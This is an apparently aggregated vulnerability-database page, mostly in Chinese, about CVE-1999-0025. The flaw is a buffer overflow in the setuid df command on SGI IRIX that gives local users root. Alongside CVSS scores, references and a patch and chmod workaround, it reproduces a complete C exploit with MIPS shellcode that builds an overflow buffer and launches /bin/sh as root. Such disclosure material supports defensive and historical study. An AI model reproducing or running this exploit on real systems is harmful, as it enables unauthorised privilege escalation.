CVE-1999-0025
CVSS7.2
发布时间 :1997-07-16 00:00:00
修订时间 :2008-09-09 08:33:35
NMCOE    

[原文]root privileges via buffer overflow in df command on SGI IRIX systems.


[CNNVD]IRIX df 漏洞(CNNVD-199707-028)

        基于SGI IRIX系统的df命令存在缓冲区溢出漏洞。可以借助该漏洞获得根特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0025
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0025
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199707-028
(官方数据源) CNNVD

- 其它链接及资源

http://www.kb.cert.org/vuls/id/20851
(UNKNOWN)  CERT-VN  VU#20851
http://www.cert.org/advisories/CA-1997-21.html
(UNKNOWN)  CERT  CA-1997-21
http://xforce.iss.net/xforce/xfdb/440
(UNKNOWN)  XF  df-bo(440)
http://www.securityfocus.com/bid/346
(UNKNOWN)  BID  346

- 漏洞信息

IRIX df 漏洞
高危 缓冲区溢出
1997-07-16 00:00:00 2005-05-02 00:00:00
本地  
        基于SGI IRIX系统的df命令存在缓冲区溢出漏洞。可以借助该漏洞获得根特权。

- 公告与补丁

        Suitable temporary solutions include removing the setuid bit from the binary: chmod -s /bin/df
        Patches are available from SGI at
        http://support.sgi.com.

- 漏洞信息 (19274)

SGI IRIX <= 6.3 df Vulnerability (EDBID:19274)
irix local
1997-05-24 Verified
0 David Hedley
N/A [点击下载]
source: http://www.securityfocus.com/bid/346/info

A buffer overflow exists in IRIX 5.x and 6.x 'df' utility, from Silicon Graphics Inc. By supplying a long argument to the -f option of df, a user can crash the df program. By carefully crafting a buffer containing machine executable code, an attacker can run arbitrary commands as root. 

/* /bin/df buffer overflow exploit by DCRH */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      1504
#define EXTRA           700
#define OFFSET          0x200
#define IRIX_NOP        0x03e0f825    /* move $ra,$ra */

#define u_long unsigned


u_long get_sp_code[] = {
    0x03a01025,         /* move $v0,$sp         */
    0x03e00008,         /* jr $ra               */
    0x00000000,         /* nop                  */
};

u_long irix_shellcode[] = {
    0x24041234,         /* li $4,0x1234         */
    0x2084edcc,         /* sub $4,0x1234        */
    0x0491fffe,         /* bgezal $4,pc-4       */
    0x03bd302a,         /* sgt $6,$sp,$sp       */
    0x23e4012c,         /* addi $4,$31,264+36   */
    0xa086feff,         /* sb $6,-264+7($4)     */
    0x2084fef8,         /* sub $4,264           */
    0x20850110,         /* addi $5,$4,264+8     */
    0xaca4fef8,         /* sw $4,-264($5)       */
    0xaca6fefc,         /* sw $4,-260($5)       */
    0x20a5fef8,         /* sub $5, 264          */
    0x240203f3,         /* li $v0,1011          */
    0x03ffffcc,         /* syscall 0xfffff      */
    0x2f62696e,         /* "/bin"               */
    0x2f7368ff,         /* "/sh"                */
};

char buf[BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv)
{
    char *env[] = {NULL};
    u_long targ_addr, stack;
    u_long *long_p;
    int i, code_length = strlen((char *)irix_shellcode)+1;
    u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

    stack = get_sp();

    long_p =(u_long *)  buf;
    targ_addr = stack + OFFSET;

    if (argc > 1)
        targ_addr += atoi(argv[1]) * 4;

    while ((targ_addr & 0xff000000) == 0 ||
           (targ_addr & 0x00ff0000) == 0 ||
           (targ_addr & 0x0000ff00) == 0 ||
           (targ_addr & 0x000000ff) == 0)
        targ_addr += 4;

    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = IRIX_NOP;

    for (i = 0; i < code_length/sizeof(u_long); i++)
        *long_p++ = irix_shellcode[i];

    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = (targ_addr << 16) | (targ_addr >> 16);

    *long_p = 0;

    printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

    execle("/bin/df", "df", &buf[3], 0, env);
    perror("execl failed");
}
		

- 漏洞信息

8422
IRIX df Local Overflow
Local Access Required Input Manipulation
Loss of Integrity Patch / RCS
Exploit Unknown

- 漏洞描述

A local overflow exists in SGI IRIX. The df program fails to perform proper bounds checking resulting in a buffer overflow. With a specially crafted request, a malicious user can cause arbitrary commands execution with root privileges resulting in a loss of integrity.

- 时间线

1997-07-01 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, SGI has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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